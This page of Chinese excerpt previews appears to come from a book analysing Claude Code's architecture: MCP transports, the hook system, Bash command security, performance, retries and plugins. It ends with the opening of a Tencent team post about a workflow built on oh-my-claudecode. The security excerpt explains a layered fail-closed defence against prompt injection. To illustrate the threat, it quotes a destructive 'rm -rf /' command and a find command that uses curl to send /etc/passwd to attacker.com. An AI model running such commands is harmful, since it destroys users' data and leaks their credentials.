Claude Code

“任何足够先进的抽象，都不可与协议区分。” 一个智能 Agent 的能力上限，不在于它的模型有多强大，而在于它能与多少外部系统有效协作。Claude Code 通过 MCP（Model Context Protocol）协议，将数据库、API、文件系统、IDE、浏览器乃至 SaaS 服务，统一纳入 Agent 的工具可达边界。本章将深入 MCP 协议的设计思想，逐层剖析连接建立、能力发现、传输选择、认证流程、交互式授权以及资源截断等核心算法。 9.1 问题引入：Agent 通信的统一协议挑战 现代 AI Agent 面临一个根本性的通信难题：它需要与形态各异的外部服务交互——本地命令行工具通过 stdin/stdout 对话，远程 API 通过 HTTP 请求访问，IDE 通过 WebSocket 推送事件，SaaS 服务需要 OAuth 认证后才能调用。如果为每种服务编写专用的通信逻辑，系统复杂度将随服务数量呈组合爆炸式增长。 MCP 协议正是为解决此问题而设计的。它定义了一套标准化的客户端-服务端交互规范，使 Agent 能够以统一的方式发现、连接、调用任意外部服务。从 Claude Code 的源码中，我们可以提炼出 MCP 协议的七个核心算法问题： 连接建立：如何在多种传输层之上建立标准化连接？ 能力协商：客户端与服务端如何互相声明和发现功能？ 传输选择：如何为不同场景选择最优的传输层？ 生命周期管理：如何处理连接的缓存、超时、断开与重连？ OAuth 认证：如何安全地完成浏览器重定向认证流程？ 交互式授权（Elicitation）：服务端需要用户输入时如何发起交互？ 资源截断：大型工具输出如何智能截断以适应上下文窗口？ 9.2 传输层选择算法 9.2.1 多传输层架构 Claude Code 支持的传输类型在 types.ts 中通过 Zod Schema 严格定义： export const TransportSchema = z.enum([ 'stdio', // 本地子进程通信 'sse', // Server-Sent Events（旧版远程） 'sse-ide', // IDE 专用 SSE 'http', // Streamable HTTP（新版远程） 'ws', // WebSocket 'sdk', // 进程内 SDK 传输 ]) 每种传输类型对应不同的配置 Schema。例如 stdio 需要 command 和 args，而 http 和 sse 需要 url、可选的 headers、headersHelper 和 oauth 配置。这种设计体现了策略模式的典型应用——传输层的选择与连接的建立逻辑分离。 ...

10.1 问题引入 当一个 AI Agent 系统从原型走向生产，最棘手的需求往往不是核心推理能力本身，而是外围的「可定制性」： 企业安全团队希望在每次工具调用前检查是否符合合规策略，且无需修改 Agent 内核代码； 开发者希望在 LLM 返回结果后、工具实际执行前，注入一段额外的上下文信息； 运维工程师需要在会话开始时自动配置环境变量，在会话结束时清理临时资源； 插件系统需要让第三方扩展在不触碰主流程代码的前提下参与到工具调用的决策链中。 这些需求的共同特征是：在不修改 Agent 核心代码的情况下，拦截、修改、扩展其行为。 这正是「钩子（Hook）」系统要解决的问题。Claude Code 的 Hook 系统是一套完整的中间件管线（Middleware Pipeline），它在 Agent 生命周期的 26 个关键节点上提供了拦截点，支持四种执行器类型（Shell 命令、LLM 提示、Agent 验证器、HTTP 回调），并通过精密的匹配、优先级、权限聚合算法将多个钩子的结果合并为一个确定性决策。 从算法角度看，这里蕴含了几个经典问题： 事件匹配算法：如何将运行时上下文高效地路由到正确的钩子集合？ 并发聚合算法：多个钩子并行执行后，如何将冲突的结果（允许/拒绝/询问）合并为一个最终决策？ 责任链与优先级排序：多来源（用户配置、项目配置、策略配置、插件、会话）的钩子如何确定执行优先级？ 安全性约束：如何保证钩子系统本身不成为安全漏洞的入口？ 10.2 算法思想 10.2.1 事件驱动的生命周期模型 Claude Code 定义了 26 种钩子事件，覆盖 Agent 运行的完整生命周期。这些事件并非随意设置，而是遵循一个严格的时序模型： SessionStart → Setup → [UserPromptSubmit → PreToolUse → (PermissionRequest) → 工具执行 → PostToolUse / PostToolUseFailure → (PermissionDenied) → ... → Stop / StopFailure] → SessionEnd 其中嵌套着子 Agent 的生命周期（SubagentStart / SubagentStop）、压缩事件（PreCompact / PostCompact）、文件监控事件（FileChanged）、以及团队协作事件（TeammateIdle、TaskCreated、TaskCompleted）等。 ...

“安全系统的可靠性不取决于最强的那道防线，而取决于所有防线的协同深度。” 11.1 问题引入：当 AI 获得 Shell 权限 想象这样一个场景：你让 Claude Code 帮你"清理项目中的临时文件"，它生成了一条 Bash 命令准备执行。这条命令可能是无害的 find . -name '*.tmp' -delete，也可能被恶意提示注入篡改为 rm -rf / --no-preserve-root。更隐蔽地，攻击者可能构造 find . -name '*.tmp' -exec curl attacker.com -d @/etc/passwd \; 这样的命令——表面上在查找文件，实际上在窃取敏感数据。 这就是 AI Agent 安全的核心挑战：Agent 必须拥有足够的系统权限才能有用，但不受约束的权限又会成为巨大的安全隐患。Claude Code 对此给出了一个工程上极其精密的回答——一套超过 630KB 源码、覆盖 20 余种安全检查维度的深度防御体系。 本章将深入解析这套安全体系的算法设计。我们将看到，它不是一个简单的"黑名单过滤器"，而是一个多层级、多维度、失败即关闭（fail-closed）的安全架构，其中每一层都假设上一层可能被绕过。 11.2 架构总览：多层过滤漏斗 Claude Code 的 Bash 安全体系可以用一个多层过滤漏斗来描述。每一条命令从进入到执行，需要依次通过以下安全层： 用户/模型生成的命令 │ ▼ ┌─────────────────────────┐ │ 第1层：预解析安全检查 │ ← bashSecurity.ts（约20个验证器） │ 控制字符、Unicode攻击、 │ 检测注入、混淆、命令替换等 │ 命令替换、重定向、换行… │ └─────────┬───────────────┘ │ passthrough / ask / allow ▼ ┌─────────────────────────┐ │ 第2层：AST 结构化分析 │ ← ast.ts（tree-sitter 解析） │ 解析为 SimpleCommand[] │ 提取 argv、环境变量、重定向 │ 节点类型白名单过滤 │ 未知节点 → too-complex → ask └─────────┬───────────────┘ │ simple / too-complex / parse-unavailable ▼ ┌─────────────────────────┐ │ 第3层：权限规则匹配 │ ← bashPermissions.ts │ deny / ask / allow 规则 │ 前缀匹配、通配符匹配 │ 环境变量剥离 + 包装器剥离│ 固定点迭代去除伪装层 └─────────┬───────────────┘ │ deny / ask / allow ▼ ┌─────────────────────────┐ │ 第4层：只读性验证 │ ← readOnlyValidation.ts │ 命令白名单 + 标志位验证 │ 确保命令仅做读取操作 │ 危险标志拒绝列表 │ └─────────┬───────────────┘ │ allow / ask ▼ ┌─────────────────────────┐ │ 第5层：路径约束验证 │ ← pathValidation.ts │ 工作目录边界检查 │ 路径遍历攻击防护 │ 危险路径检测 │ ~/.claude/ 等敏感路径保护 └─────────┬───────────────┘ │ allow / ask / deny ▼ ┌─────────────────────────┐ │ 第6层：特殊命令处理 │ ← sedValidation.ts 等 │ sed/awk 等可执行命令 │ 表达式级安全分析 │ jq system() 检测 │ └─────────┬───────────────┘ │ allow / ask ▼ ┌─────────────────────────┐ │ 第7层：沙盒隔离 │ ← shouldUseSandbox.ts │ 文件系统 / 网络限制 │ 最后一道物理隔离 └─────────┬───────────────┘ │ ▼ 命令执行 核心设计原则：失败即关闭（Fail-Closed）。在任何一层中，如果分析器无法确定命令是安全的，就默认拒绝（返回 ask 要求用户确认）。这与"失败即开放"形成鲜明对比——后者假设无法判断时命令是安全的，这在安全系统中是致命的。 ...

“过早优化是万恶之源，但在正确的时机做正确的优化，则是工程艺术的巅峰。” 12.1 问题引入 一个成熟的 AI Agent 系统面临着多维度的性能挑战。Claude Code 作为一个包含数十万行 TypeScript 代码的终端 AI 助手，需要同时解决以下问题： 启动速度：用户在终端输入 claude 后，如何在亚秒级时间内完成初始化？数百个模块的加载、配置的解析、API 客户端的构建——任何一项阻塞都意味着体验的劣化。 上下文窗口管理：模型的上下文窗口是有限的（通常为 200K tokens），而一个长时间的编程会话可能产生数百万 tokens 的对话内容。如何在不超过窗口限制的前提下最大化信息密度？ 内存控制：终端 UI 需要维护大量的渲染状态。一个包含 1000 条消息的会话，如果不做虚拟化，仅 React fiber 和 Yoga 布局节点就可能消耗 250MB 内存。 渲染流畅性：流式输出时每个 token 都会触发渲染更新。如何避免因频繁重绘导致的 CPU 峰值和卡顿？ 本章将深入剖析 Claude Code 针对这些问题的系统性优化策略，从 Token 计数的精妙权衡，到上下文压缩的三级体系，再到终端渲染的虚拟滚动算法。每一项优化背后都蕴含着对"精确性"与"速度"之间平衡的深刻思考。 12.2 启动优化策略 12.2.1 性能度量驱动的优化 Claude Code 遵循一个朴素但有效的原则：不能度量的东西无法优化。启动阶段的每一个关键检查点都被 startupProfiler 精确记录： // startupProfiler.ts — 启动性能度量框架 const PHASE_DEFINITIONS = { import_time: ['cli_entry', 'main_tsx_imports_loaded'], init_time: ['init_function_start', 'init_function_end'], settings_time: ['eagerLoadSettings_start', 'eagerLoadSettings_end'], total_time: ['cli_entry', 'main_after_run'], } export function profileCheckpoint(name: string): void { if (!SHOULD_PROFILE) return // 非采样用户零开销 const perf = getPerformance() perf.mark(name) if (DETAILED_PROFILING) { memorySnapshots.push(process.memoryUsage()) } } 该框架采用分层采样策略：100% 的内部用户和 0.5% 的外部用户被采样记录启动性能指标，而完整的内存快照报告仅在显式启用 CLAUDE_CODE_PROFILE_STARTUP=1 时生成。这种设计确保了生产环境中性能数据的持续可观测性，同时将度量本身的开销降至最低。 ...

“真正的韧性不在于永不失败，而在于每次失败后都能优雅地站起来。” 13.1 问题引入 想象这样一个场景：用户正在使用 Claude Code 进行一个复杂的代码重构任务。Agent 已经分析了数十个文件，制定了修改计划，正在逐步执行。此时 API 突然返回 HTTP 529（Overloaded）错误。 这个看似简单的场景引发了一系列深刻的工程决策： 立即失败？ 用户等待了几分钟的上下文将全部丢失，体验极差。 无限重试？ 如果服务器已过载，盲目重试只会加剧雪崩，使所有用户的体验都恶化。 等待后重试？ 等多久？如果所有客户端都在同一时刻重试呢？ 降级到备用模型？ 什么条件下降级？如何在质量和可用性之间取舍？ 更复杂的场景还包括：网络在 SSH 会话中断开，进程收到 SIGTERM 信号，OAuth Token 在请求中途过期，SSL 证书验证失败……每一种故障都需要不同的处理策略。 Claude Code 作为一个长时间运行的交互式 Agent 系统，面临的容错挑战远比普通 Web 应用复杂。它必须在"永不放弃"和"适时认输"之间找到精确的平衡点。本章将深入分析 Claude Code 源码中的容错与恢复算法，揭示一个生产级 Agent 系统如何在真实世界的混乱中保持韧性。 13.2 错误分类状态机 容错系统的第一步是正确分类错误。不同类型的错误需要截然不同的处理策略。Claude Code 构建了一个精密的错误分类体系，将错误分为可重试、不可重试、可降级等多个类别。 13.2.1 分类的核心逻辑 错误分类是一棵决策树。Claude Code 的 shouldRetry 函数体现了这棵树的结构： 错误发生 ├── 是否为模拟错误？ → 不重试（测试用） ├── 是否为持久模式下的瞬态容量错误（429/529）？ → 始终重试 ├── 远程模式下的 401/403？ → 重试（基础设施令牌刷新） ├── 包含 "overloaded_error"？ → 重试（流式 529 的变体） ├── 上下文溢出 400？ → 重试（自动调整 max_tokens） ├── x-should-retry 响应头 │ ├── "true" + 企业用户 → 重试 │ └── "false" + 非5xx → 不重试 ├── 连接错误（APIConnectionError）？ → 重试 ├── 408 请求超时 → 重试 ├── 409 锁超时 → 重试 ├── 429 速率限制 → 条件重试（非订阅用户或企业用户） ├── 401 认证失败 → 清除缓存后重试 ├── 403 Token 撤销 → 重试 ├── 5xx 服务端错误 → 重试 └── 其他 → 不重试 这棵决策树的设计体现了几个关键原则： ...

“好的架构不是预知未来，而是让未来的变化变得廉价。” —— Robert C. Martin 14.1 问题引入：当能力边界需要不断外扩 一个 Agent 系统在发布后必然面临一个根本性矛盾：用户需求是无限的，而核心代码的变更是昂贵的。每一次向核心代码中添加新功能，都意味着更高的耦合度、更大的回归测试面积、更长的发布周期。 Claude Code 从第一天起就面对这个问题。它需要支持数十种斜杠命令、允许社区贡献新的技能、让每个用户拥有个性化的"记忆"，还要让企业能通过插件定制整个工作流——所有这些都不应该要求修改一行核心代码。 这就是扩展性架构要解决的问题。本章我们将剖析 Claude Code 源码中三个核心扩展子系统——插件系统、技能框架和 Memory 系统——背后的算法设计，揭示一个工业级 Agent 是如何在"对扩展开放、对修改封闭"的原则下，实现能力的无限外扩。 14.2 算法思想 14.2.1 插件发现算法：多源汇聚的声明式发现 Claude Code 的插件发现不是简单地扫描某个目录。它采用了一种多源声明式发现算法，插件来源按优先级排列： Marketplace 插件（plugin@marketplace 格式声明于 settings 文件） 会话插件（--plugin-dir CLI 参数或 SDK 内联注入） 内置插件（编译进二进制的 builtin plugins） 发现算法的核心在 assemblePluginLoadResult 函数中： assemblePluginLoadResult(marketplaceLoader): // 阶段1: 并行加载各来源 [marketplaceResult, sessionResult] = await Promise.all([ marketplaceLoader(), // marketplace 插件 loadSessionOnlyPlugins(inlinePlugins) // 会话插件 ]) builtinResult = getBuiltinPlugins() // 内置插件 // 阶段2: 多源合并（冲突解决） allPlugins = mergePluginSources({ session: sessionResult.plugins, marketplace: marketplaceResult.plugins, builtin: builtinResult, managedNames: getManagedPluginNames() // 企业策略锁定 }) // 阶段3: 依赖验证与降级 { demoted, errors } = verifyAndDemote(allPlugins) for p in allPlugins: if demoted.has(p.source): p.enabled = false // 阶段4: 缓存插件设置以供同步访问 cachePluginSettings(enabledPlugins) return { enabled, disabled, errors } 这个算法的关键设计决策有三个： ...

“复杂系统从来不是一次性设计出来的，它是从一个可工作的简单系统逐步演化而来。” — John Gall，《系统学》 15.1 问题引入 经过前14章的深入分析，我们已经逐一拆解了 Claude Code 的每一个核心算法思想——从工具抽象到推理循环，从权限控制到多 Agent 协调，从 MCP 协议到钩子系统，从上下文压缩到容错重试。现在，一个自然的问题摆在面前： 如果你要从零开始构建一个类似 Claude Code 的 Agent 系统，该怎么做？ 这不是一个简单的问题。Claude Code 的源码体量庞大，模块之间存在复杂的依赖关系。直接照搬源码既不现实也不明智。我们需要的是一张路线图——从最小可行系统出发，逐步叠加能力层，每一步都有清晰的目标和边界。 本章将给出这张路线图。我们将按照八个递进步骤，从一个仅有50行伪代码的最小循环，逐步演化为一个功能完整的 Agent 系统。每一步都会回顾前几章的核心算法，给出可执行的伪代码框架，并对照 Claude Code 的实际实现进行验证。 15.2 算法思想 15.2.1 Agent 系统的最小可行架构 任何 Agent 系统，无论多复杂，都可以归结为三个核心组件： ┌─────────────────────────────────────────┐ │ Agent 系统 │ │ │ │ ┌───────────┐ ┌──────────┐ ┌──────┐ │ │ │ 推理循环 │←→│ 工具系统 │←→│ 权限 │ │ │ │ (大脑) │ │ (双手) │ │ 控制 │ │ │ └───────────┘ └──────────┘ └──────┘ │ │ │ └─────────────────────────────────────────┘ 推理循环是大脑，决定"做什么"和"何时停止"； 工具系统是双手，提供"怎么做"的能力； 权限控制是安全阀，确保"能不能做"。 Claude Code 的源码完美印证了这一划分。query.ts 中的 queryLoop 是推理循环，Tool.ts 定义了工具抽象，permissions.ts 实现了权限判定。三者紧密协作，但职责清晰分离。 ...

“我们不是在建造一个工具，而是在定义人与智能体协作的范式。” 16.1 回望来路：从代码到思想 当你翻到这一页时，我们已经共同走过了一段漫长的旅程。从第1章的感知-推理-行动循环，到第15章的性能优化深渊，我们逐行审视了 Claude Code 近两千个源码文件、数十万行 TypeScript 代码中蕴含的工程智慧。 然而，如果这本书仅仅停留在"Claude Code 是怎么写的"这个层面，那它的价值将随着下一个版本的发布而褪色。代码会过时，API 会变迁，框架会更替——但算法思想不会。正如 Donald Knuth 在《计算机程序设计艺术》中所言，真正值得学习的不是某个具体的程序，而是程序背后的思维方式。 让我们从 Claude Code 的具体实现中抽身而出，提炼出那些具有普适价值的 Agent 算法思想。这些思想，将在未来无数的 Agent 系统中以不同的形式反复出现。 16.2 七大核心算法模式 纵览全书，我们可以从 Claude Code 的架构中提炼出七个核心算法模式。它们不是孤立的技巧，而是一套完整的 Agent 设计语言。 模式一：感知-推理-行动循环（Perception-Reasoning-Action Loop） 源自第1、4章的核心发现。 Claude Code 的 query.ts 中的主循环是整个系统的心脏。它不是一个简单的 request-response 模型，而是一个持续运转的 while(true) 循环： // query.ts — 简化的核心循环结构 async function* queryLoop(params: QueryParams) { let state: State = { messages, toolUseContext, turnCount: 1, ... } while (true) { let { toolUseContext } = state const { messages, turnCount } = state yield { type: 'stream_request_start' } // 感知：收集上下文、附件、记忆 // 推理：调用 LLM 获取响应 // 行动：执行工具调用 // 判断：是否继续循环 } } 这个模式的精妙之处在于它的生成器（AsyncGenerator）设计。query 函数不是返回一个结果，而是 yield 出一个事件流——流式事件、消息、工具结果——让调用者可以逐步消费。这是一个经典的协程模式：循环的每一轮既是一次完整的感知-推理-行动周期，又是一个可被外部中断、恢复的协作点。 ...

一、背景：团队在 AI 辅助开发中的痛点 随着 Claude Code / CodeBuddy 等 AI 编程助手的普及，腾讯体育团队在日常开发中逐渐积累了大量与 AI 协作的经验。但在推广过程中，我们发现了几个反复出现的问题： 1. 重复解释团队上下文 每位同学使用 AI 时，都需要反复告诉它：“我们的路由怎么跳转”、“我们的架构层级是什么”、“Commit 格式应该怎么写”。这些团队共有的知识，每次都要重新解释。 2. 有效方案无法沉淀复用 某位同学花了一下午和 Claude 反复沟通，终于摸索出某类问题的可靠解决方案。但下一位同学面对同样的问题时，却不得不从头再来——AI 不会记住上一位同学的探索成果。 3. 规范依赖自觉，缺乏确定性保障 可以把规范写进 Prompt，但 Agent 是否遵守取决于模型"自律"。关键的验证步骤（如编译检查、commit 格式）需要确定性的工具触发，而不是靠模型"记得做"。 4. 社区能力与企业场景之间存在鸿沟 Claude Code 社区（如 OMC/oh-my-claudecode）提供了优秀的多 Agent 编排、自动规划等能力，但它不了解我们团队的 tRPC/DDD 架构约定、日志规范、代码评审流程等企业特定知识。 二、核心思路：“AI 时代的业务组件” OSC（oh-sports-claudecode）的核心设计理念是： 一个同学与大模型反复沟通，最终沉淀出某类问题的解决方案（知识库 + Skill）；下一个同学直接复用，无需再次摸索，AI 开箱即用地理解我们的业务上下文。 这与"业务组件"的思想完全一致——只是这里的"组件"不是 UI 组件或函数库，而是 AI 可消费的知识与工作流。 传统组件： 团队共享代码 → 减少重复实现 AI 业务组件：团队共享知识 → 减少重复沟通 基于这个思路，OSC 在 oh-my-claudecode (OMC) 开源框架之上，构建了一套适合腾讯体育团队的 AI 工作流体系。 三、架构设计：三层体系 OSC 采用 知识层 → Workflow 层 → 工具层 的三层架构，每一层职责清晰、可独立演进。 ...